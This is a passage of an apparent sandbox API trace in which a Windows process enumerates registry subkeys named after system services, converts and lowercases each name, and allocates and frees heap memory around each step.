RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.652] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.653] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.653] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.653] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.653] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.653] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.653] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.654] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.654] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.654] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0228.654] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.654] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.655] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.655] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.655] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.655] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.655] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.655] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.656] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.656] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.656] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0228.656] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.656] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.657] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0228.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0228.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0228.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.657] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0228.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0228.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.659] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0228.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0228.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.659] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0228.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0228.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0228.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.659] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0228.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, 